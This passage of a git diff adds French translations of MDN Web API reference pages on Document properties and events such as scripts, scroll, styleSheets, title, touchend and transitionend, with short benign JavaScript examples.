+translation_of: Web/API/Document/scripts
+---
+<div>
+ {{ApiRef}}</div>
+<h2 id="Summary" name="Summary"> </h2>
+<p>Retourne une liste des scripts (éléments {{HTMLElement("script")}}) présents dans le document. L'objet retourné est une liste du type {{domxref("HTMLCollection")}}.</p>
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+<pre class="syntaxbox"><code>var <em>scriptList</em></code> = document.scripts;
+</pre>
+<p>La liste <code>scriptList</code> est un objet {{domxref("HTMLCollection")}} qu'on peut utiliser comme un tableau pour accéder aux éléments qu'elle contient.</p>
+<h2 id="Exemple">Exemple</h2>
+<p>Cet exemple détecte la présence d'éléments {{HTMLElement("script")}} dans le document.</p>
+<pre class="brush:js">var scripts = document.scripts;
+
+if (scripts.length) {
+  alert("This page has scripts!");
+}
+</pre>
+<h2 id="Specification" name="Specification">Browser compatibility</h2>
+<div>
+ {{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoDesktop("9.0")}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoMobile("9.0")}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="Specification" name="Specification">Specification</h2>
+<ul>
+ <li>{{spec("http://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#dom-document-scripts", "DOM: document scripts")}}</li>
+</ul>
diff --git a/files/fr/web/api/document/scroll_event/index.html b/files/fr/web/api/document/scroll_event/index.html
new file mode 100644
index 0000000000..8e1a13b3db
--- /dev/null
+++ b/files/fr/web/api/document/scroll_event/index.html
@@ -0,0 +1,147 @@
+---
+title: scroll
+slug: Web/API/Document/scroll_event
+tags:
+  - API
+  - Event Handler
+  - Reference
+  - events
+  - requestAnimationFrame
+translation_of: Web/API/Document/scroll_event
+---
+<p>{{APIRef}}<br>
+ <span class="seoSummary">L’évènement <strong><code>scroll</code></strong> (défilement) est émis lorsque l’on fait défiler le document ou un élément.</span></p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th>Bouillonne</th>
+   <td>Pas sur les éléments, mais bouillonne vers la defaultView si émis sur le document</td>
+  </tr>
+  <tr>
+   <th>Annulable</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th>Interface</th>
+   <td>{{domxref("UIEvent")}}</td>
+  </tr>
+  <tr>
+   <th>Cible</th>
+   <td>DefaultView, {{domxref("Document")}}, {{domxref("Element")}}</td>
+  </tr>
+  <tr>
+   <th>Action par défaut</th>
+   <td>Aucune</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="blockIndicator note">
+<p>Note : Sur iOS UIWebViews, les évènements <code>scroll</code> ne sont pas émis pendant le défilement, mais une fois que celui-ci est terminé. Voir <a href="https://github.com/twbs/bootstrap/issues/16202">Bootstrap issue #16202</a>. Safari et WKWebViews ne sont pas affectés par ce bogue.</p>
+</div>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Propriété</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>La cible de l’évènement (la plus haute dans l’arbre DOM).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Le type d’évènement.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>Si l’évènement bouillonne ou non.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>Si l’évènement est annulable ou non.</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td>{{domxref("WindowProxy")}}</td>
+   <td>{{domxref("Document.defaultView")}} (objet <code>window</code> du document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Temporisation_des_évènements_scroll">Temporisation des évènements scroll</h3>
+
+<p>Comme les évènements <code>scroll</code> peuvent être émis à une fréquence élevée, le gestionnaire d’évènements ne devrait pas effectuer des opérations coûteuses en termes de puissance de calcul, telles que des modification du DOM. À la place, il est recommandé de temporiser l’évènement en utilisant {{domxref("window.requestAnimationFrame()", "requestAnimationFrame()")}}, {{domxref("window.setTimeout()", "setTimeout()")}} ou un {{domxref("CustomEvent")}}, comme suit.</p>
+
+<p>Notez, cependant, que les évènements d’interface utilisateur et les frames d’animation sont émises à peu près à la même fréquence, et ainsi l’optimisation qui suit est souvent superflue. Cet exemple optimise l’évènement <code>scroll</code> avec <code>requestAnimationFrame</code>.</p>
+
+<pre class="brush: js notranslate">// Référence: http://www.html5rocks.com/en/tutorials/speed/animations/
+
+var derniere_position_de_scroll_connue = 0;
+var ticking = false;
+
+function faireQuelqueChose(position_scroll) {
+  // faire quelque chose avec la position du scroll
+}
+
+window.addEventListener('scroll', function(e) {
+  derniere_position_de_scroll_connue = window.scrollY;
+
+  if (!ticking) {
+    window.requestAnimationFrame(function() {
+      faireQuelqueChose(derniere_position_de_scroll_connue);
+      ticking = false;
+    });
+  }
+
+  ticking = true;
+});</pre>
+
+<h3 id="Autres_exemples">Autres exemples</h3>
+
+<p>Pour plus d’exemples similaires, voir l’évènement <a href="/en-US/docs/Web/Events/resize#Example">resize</a>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>Spécification</td>
+   <td>État</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#scrolling-events')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.Document.scroll_event")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("GlobalEventHandlers.onscroll")}}</li>
+</ul>
diff --git a/files/fr/web/api/document/selectedstylesheetset/index.html b/files/fr/web/api/document/selectedstylesheetset/index.html
new file mode 100644
index 0000000000..8c66beecb4
--- /dev/null
+++ b/files/fr/web/api/document/selectedstylesheetset/index.html
@@ -0,0 +1,51 @@
+---
+title: Document.selectedStyleSheetSet
+slug: Web/API/Document/selectedStyleSheetSet
+tags:
+  - API
+  - DOM
+  - Document
+  - Feuilles de styles
+  - Propriétés
+translation_of: Web/API/Document/selectedStyleSheetSet
+---
+<p>{{ APIRef("DOM") }}{{ gecko_minversion_header("1.9") }}</p>
+
+<p>Indique le nom du jeu de feuilles de styles actuellement utilisé.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="eval"><em>currentStyleSheetSet</em> = document.selectedStyleSheetSet
+
+document.selectedStyleSheet = <em>newStyleSheetSet</em>
+</pre>
+
+<p>En retour, <code>currentStyleSheetSet</code> indique le nom du jeu de feuilles de styles en cours d'utilisation. Vous pouvez aussi définir celui-ci en utilisant cette propriété.</p>
+
+<p><span id="result_box" lang="fr"><span>La définition de la valeur de cette propriété équivaut à appeler</span></span> {{ domxref("document.enableStyleSheetsForSet()") }} avec la valeur de <code>currentStyleSheetSet</code>, puis de définir la valeur de <code>lastStyleSheetSet</code> sur cette valeur.</p>
+
+<div class="note"><strong>Note :</strong> Cette valeur d'attribut est directe : <span id="result_box" lang="fr"><span>sa modification affectera la valeur de l'attribut.</span></span></div>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js">console.log("Current style sheet set: " + document.selectedStyleSheetSet);
+
+document.selectedStyleSheetSet = "Some other style sheet";
+</pre>
+
+<div class="note"><strong>Note :</strong> Cet exemple vous aidera à comprendre la différence de comportement entre la définition de la valeur de <code>selectedStyleSheetSet</code> et l'appel de {{ domxref("document.enableStyleSheetsForSet()") }}.</div>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li>{{ domxref("document.lastStyleSheetSet") }}</li>
+ <li>{{ domxref("document.preferredStyleSheetSet") }}</li>
+ <li>{{ domxref("document.styleSheetSets") }}</li>
+ <li>{{ domxref("document.enableStyleSheetsForSet()") }}</li>
+</ul>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<ul>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#alternate-style-sheets" title="http://www.whatwg.org/specs/web-apps/current-work/#alternate-style-sheets">HTML5: Alternate Style Sheets</a></li>
+</ul>
diff --git a/files/fr/web/api/document/stylesheets/index.html b/files/fr/web/api/document/stylesheets/index.html
new file mode 100644
index 0000000000..71a48a5f68
--- /dev/null
+++ b/files/fr/web/api/document/stylesheets/index.html
@@ -0,0 +1,55 @@
+---
+title: Document.styleSheets
+slug: Web/API/Document/styleSheets
+translation_of: Web/API/DocumentOrShadowRoot/styleSheets
+---
+<div>{{APIRef}}</div>
+
+<div>La propriété <strong><code>Document.styleSheets </code></strong>est en lecture seule et retourne une liste {{domxref("StyleSheetList")}} d'objets {{domxref("StyleSheet")}}, qui font référence à l'ensemble des feuilles de style contenues ou embarquées dans le document.</div>
+
+<div> </div>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox">var <var>styleSheetList</var> = <em>document</em>.styleSheets;
+</pre>
+
+<p>L'objet retourné est une liste {{domxref("StyleSheetList")}}.</p>
+
+<p>Il s'agit d'une collection ordonnée d'objets {{domxref("StyleSheet")}}. <code><em>styleSheetList</em>.item(<em>index</em>)</code> ou  <code><em>styleSheetList</em>{{ mediawiki.External('<em>index</em>') }}</code> retourne un seul objet stylesheet par son <code>index </code>(<code>index</code> débute par 0).</p>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+ </tbody>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM', '#dom-document-stylesheets', 'styleSheets')}}</td>
+   <td>{{Spec2('CSSOM')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Style', 'stylesheets.html#StyleSheets-DocumentStyle-styleSheets', 'styleSheets')}}</td>
+   <td>{{Spec2('DOM2 Style')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li>{{Link("/en-US/docs/Web/API/CSS_Object_Model/Using_dynamic_styling_information")}}</li>
+</ul>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/stylesheets.html#StyleSheets-DocumentStyle-styleSheets">DOM Level 2 Style: styleSheets</a></li>
+</ul>
diff --git a/files/fr/web/api/document/stylesheetsets/index.html b/files/fr/web/api/document/stylesheetsets/index.html
new file mode 100644
index 0000000000..14adac7a18
--- /dev/null
+++ b/files/fr/web/api/document/stylesheetsets/index.html
@@ -0,0 +1,58 @@
+---
+title: Document.styleSheetSets
+slug: Web/API/Document/styleSheetSets
+tags:
+  - API
+  - DOM
+  - Document
+  - Feuilles de styles
+  - Propriétés
+translation_of: Web/API/Document/styleSheetSets
+---
+<div>{{APIRef("DOM")}}{{gecko_minversion_header("1.9")}}</div>
+
+<p>Renvoie une liste active de tous les jeux de feuilles de styles actuellement disponibles.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>sets</em> = document.styleSheetSets
+</pre>
+
+<p>En retour, <code>sets</code> est une liste de jeux de feuilles de styles disponibles.</p>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<p>Étant donné un élément {{HTMLElement("ul")}} (liste) avec l'ID "sheetList", vous pouvez le remplir avec tous les noms de tous les jeux de feuilles de styles disponibles avec un code comme celui-ci :</p>
+
+<pre class="brush:js">var list = document.getElementById("sheetList");
+var sheets = document.styleSheetSets;
+
+list.innerHTML = "";
+
+for (var i = 0; i &lt; sheets.length; i++) {
+  var item = document.createElement("li");
+
+  item.innerHTML = sheets[i];
+  list.appendChild(item);
+}</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>La liste des jeux de feuilles de styles disponibles est construite par énumération de toutes les feuilles de styles disponibles pour le document, dans l'ordre dans lequel elles sont répertoriées dans l'attribut {{domxref("document.styleSheets")}}, en ajoutant le <code>title</code> (<em>titre</em>) de chacune de celles en ayant un. Les doublons sont supprimés de la liste (en utilisant une comparaison sensible à la casse).</p>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<ul>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/#alternate-style-sheets" title="http://www.whatwg.org/specs/web-apps/current-work/#alternate-style-sheets">HTML5 : Alternate Style Sheets</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Stylesheet")}}</li>
+ <li>{{domxref("document.styleSheets")}}</li>
+ <li>{{domxref("document.lastStyleSheetSet")}}</li>
+ <li>{{domxref("document.preferredStyleSheetSet")}}</li>
+ <li>{{domxref("document.selectedStyleSheetSet")}}</li>
+ <li>{{domxref("document.enableStyleSheetsForSet()")}}</li>
+</ul>
diff --git a/files/fr/web/api/document/title/index.html b/files/fr/web/api/document/title/index.html
new file mode 100644
index 0000000000..98cb79bb34
--- /dev/null
+++ b/files/fr/web/api/document/title/index.html
@@ -0,0 +1,54 @@
+---
+title: Document.title
+slug: Web/API/Document/title
+translation_of: Web/API/Document/title
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Obtient ou défini le titre de la page.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>var docTitle</em> = <em>document</em>.title;
+</pre>
+
+<p><code>title</code> est la chaîne contenant le titre de la page. Si le titre a déjà été modifié par <code>document.title</code>, cela retournera cette valeur. Sinon cela retournera le titre par défaut de la page (voir les {{Anch("Notes")}} ci-dessous).</p>
+
+<pre class="syntaxbox"><em>document</em>.title = <em>newTitle</em>;
+</pre>
+
+<p><code>newTitle</code> sera le nouveau titre de la page. Le changement de titre affectera également la valeur de retour de <code>document.title</code>, le titre de la page dans le navigateur (généralement le nom de l'onglet dans votre navigateur), et affectera également le DOM de la page (le contenu de la balise HTML <code>&lt;title&gt;</code>).</p>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush:js">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;Hello World!&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+
+&lt;script&gt;
+alert(document.title); // Affiche "Hello World!"
+document.title = "Goodbye World!";
+alert(document.title); // Affiche "Goodbye World!"
+&lt;/script&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>Cette propriété s'applique à HTML, SVG, XUL, et aux autres documents Gecko.</p>
+
+<p>Pour les documents HTML, la valeur initiale de <code>document.title</code> est le texte de la balise <code>&lt;title&gt;</code>. Pour les documents XUL, c'est la valeur de l'attribut {{XULAttr("title")}} de {{XULElem("window")}} ou d'autres éléments parents de l'élément XUL.</p>
+
+<p>En XUL, accéder à <code>document.title</code> avant que le document soit complètement chargé a des conséquences variables (<code>document.title</code> peut retourner une chaîne vide et définir <code>document.title</code> peut n'avoir aucun effet).</p>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-18446827">DOM Level 2 HTML: document.title</a></li>
+ <li><a class="external" href="http://www.whatwg.org/html/#document.title" title="http://www.whatwg.org/html/#document.title">HTML5</a></li>
+</ul>
diff --git a/files/fr/web/api/document/tooltipnode/index.html b/files/fr/web/api/document/tooltipnode/index.html
new file mode 100644
index 0000000000..681797c298
--- /dev/null
+++ b/files/fr/web/api/document/tooltipnode/index.html
@@ -0,0 +1,25 @@
+---
+title: Document.tooltipNode
+slug: Web/API/Document/tooltipNode
+tags:
+  - API
+  - DOM
+  - Document
+  - Propriétés
+  - XUL
+translation_of: Web/API/Document/tooltipNode
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p>{{draft}}</p>
+
+<p>Renvoie le noeud qui est la cible de l'actuel {{ XULElem("tooltip") }}.</p>
+
+<h2 id="Usage" name="Usage">Syntaxe</h2>
+
+<pre class="eval">document.tooltipNode;
+</pre>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<p>XUL-specific method. Not part of any specification. Defined in {{ Source("dom/public/idl/xul/nsIDOMXULDocument.idl#59", "nsIDOMXULDocument.idl") }}.</p>
diff --git a/files/fr/web/api/document/touchend_event/index.html b/files/fr/web/api/document/touchend_event/index.html
new file mode 100644
index 0000000000..f7067637ab
--- /dev/null
+++ b/files/fr/web/api/document/touchend_event/index.html
@@ -0,0 +1,186 @@
+---
+title: touchend
+slug: Web/API/Document/touchend_event
+tags:
+  - Tactile
+  - TouchEvent
+  - events
+translation_of: Web/API/Document/touchend_event
+---
+<div>{{APIRef}}</div>
+
+<p>L'événement <code>touchend</code> est déclenché quand un point de contact est retiré de la surface.</p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Spécification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://w3c.github.io/touch-events/#event-touchend">Touch Events</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("TouchEvent")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">Oui</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">Oui</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">Document, Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">indéfinie</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>EventTarget</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>DOMString</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>Boolean</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>Boolean</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td>WindowProxy</td>
+   <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td>long (float)</td>
+   <td>0.</td>
+  </tr>
+  <tr>
+   <td><code>touches</code> {{readonlyInline}}</td>
+   <td>TouchList</td>
+   <td>A list of <a href="/en/DOM/Touch"><code>Touch</code></a>es for every point of contact currently touching the surface.</td>
+  </tr>
+  <tr>
+   <td><code>targetTouches</code> {{readonlyInline}}</td>
+   <td>TouchList</td>
+   <td>A list of <a href="/en/DOM/Touch"><code>Touch</code></a>es for every point of contact that is touching the surface and started on the element that is the target of the current event.</td>
+  </tr>
+  <tr>
+   <td><code>changedTouches</code> {{readonlyInline}}</td>
+   <td>TouchList</td>
+   <td>A list of <a href="/en-US/docs/DOM/Touch"><code>Touch</code></a>es for every point of contact which contributed to the event.<br>
+    For the touchstart event this must be a list of the touch points that just became active with the current event. For the touchmove event this must be a list of the touch points that have moved since the last event. For the touchend and touchcancel events this must be a list of the touch points that have just been removed from the surface.</td>
+  </tr>
+  <tr>
+   <td><code>ctrlKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the control key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>shiftKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the shift key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>altKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the alt key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>metaKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the meta key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Des exemples d'implémentation de cet événement sont disponibles : <a href="https://developer.mozilla.org/en-US/docs/DOM/Touch_events">Touch events</a>.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("22.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("18.0")}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop("52.0")}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("6.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>11</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Les Touch events ont été implémentés dans Gecko 18.0, mais ont été supprimés dans la version 24.0 {{geckoRelease("24.0")}} dans la version bureau en raison de problèmes d'incompatibilités ({{bug(888304)}}).</p>
+
+<p>[2] Depuis 52.0, le support des Touch events a été réparé et réactivé dans les versions bureau de Windows.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{ domxref("GlobalEventHandlers.ontouchleave","ontouchleave")}}</li>
+ <li>{{ domxref("GlobalEventHandlers.ontouchstart","ontouchstart")}}</li>
+ <li>{{ domxref("GlobalEventHandlers.ontouchmove","ontouchmove")}}</li>
+</ul>
diff --git a/files/fr/web/api/document/transitionend_event/index.html b/files/fr/web/api/document/transitionend_event/index.html
new file mode 100644
index 0000000000..ab96cecb4e
--- /dev/null
+++ b/files/fr/web/api/document/transitionend_event/index.html
@@ -0,0 +1,85 @@
+---
+title: 'Document: évènement transitionend'
+slug: Web/API/Document/transitionend_event
+translation_of: Web/API/Document/transitionend_event
+---
+<div>{{APIRef}}</div>
+
+<p>L’évènement <strong><code>transitionend</code></strong> est émis quand une <a href="/fr/docs/Web/CSS/CSS_Transitions/Utiliser_transitions_CSS">transition CSS</a> a terminé. Dans le cas où une transition est supprimée avant d’avoir terminé, comme lorsqu’une {{cssxref("transition-property")}} est supprimée ou lorsque {{cssxref("display")}} reçoit la valeur <code>none</code>, l’évènement n’est pas généré.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th>Bouillonne</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th>Est annulable</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th>Interface</th>
+   <td>{{domxref("TransitionEvent")}}</td>
+  </tr>
+  <tr>
+   <th>Propriété gestionnaire d’évènement</th>
+   <td><code><a href="/en-US/docs/Web/API/GlobalEventHandlers/ontransitionend">ontransitionend</a></code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>L’évènement <code>transitionend</code> est émis dans les deux directions : quand la transition se termine vers l’état modifié, et quand elle est complètement retournée à l’état par défaut ou non modifié. S’il n’y a pas de délai ou de durée de transition, si les deux sont 0 s ou ne sont pas déclarés, il n’y a pas de transition, et aucun évènement de transition n’est émis. Si l’évènement <code>transitioncancel</code> est émis, l’évènement <code>transitionend</code> ne se produira pas.</p>
+
+<p>La cible originale pour cet évènement est l’<code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Element">Element</a></code> sur lequel la transition est appliquée. Vous pouvez écouter cet évènement sur l’interface <code>Window</code> pour le gérer durant les phases de capture ou de bouillonnement. Pour plus de détails sur cet évènement, veuillez consulter la page <a href="/fr/docs/Web/Events/transitionend">HTMLElement: transitionend</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Le code suivant ajoute un gestionnaire sur l’évènement <code>transitionend</code> :</p>
+
+<pre class="brush: js">document.addEventListener('transitionend', () =&gt; {
+  console.log('Transition terminée');
+});</pre>
+
+<p>La même chose, mais en utilisant la propriété <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/ontransitionend">ontransitionend</a></code> au lieu de <code>addEventListener()</code> :</p>
+
+<pre class="brush: js">document.ontransitionend = () =&gt; {
+  console.log('Transition terminée');
+};</pre>
+
+<p><a href="/en-US/docs/Web/API/HTMLElement/transitionend_event#Live_example" lang="en-US">Voir un exemple en direct sur cet évènement.</a></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Transitions", "#transitionend", "transitionend")}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">La table de compatibilité sur cette page est générée à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.Document.transitionend_event")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Le gestionnaire d’évènement {{domxref("GlobalEventHandlers.ontransitionend")}}</li>
+ <li>L’interface {{domxref("TransitionEvent")}}</li>
+ <li>Les propriétés CSS : {{cssxref("transition")}}, {{cssxref("transition-delay")}}, {{cssxref("transition-duration")}}, {{cssxref("transition-property")}}, {{cssxref("transition-timing-function")}}</li>
+ <li>Des évènements associés : <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/transitionrun_event">transitionrun</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/transitionstart_event">transitionstart</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/transitioncancel_event">transitioncancel</a></code></li>
+ <li>Cet évènement sur les cibles <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement">HTMLElement</a></code> : <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/transitionend_event">transitionend</a></code></li>
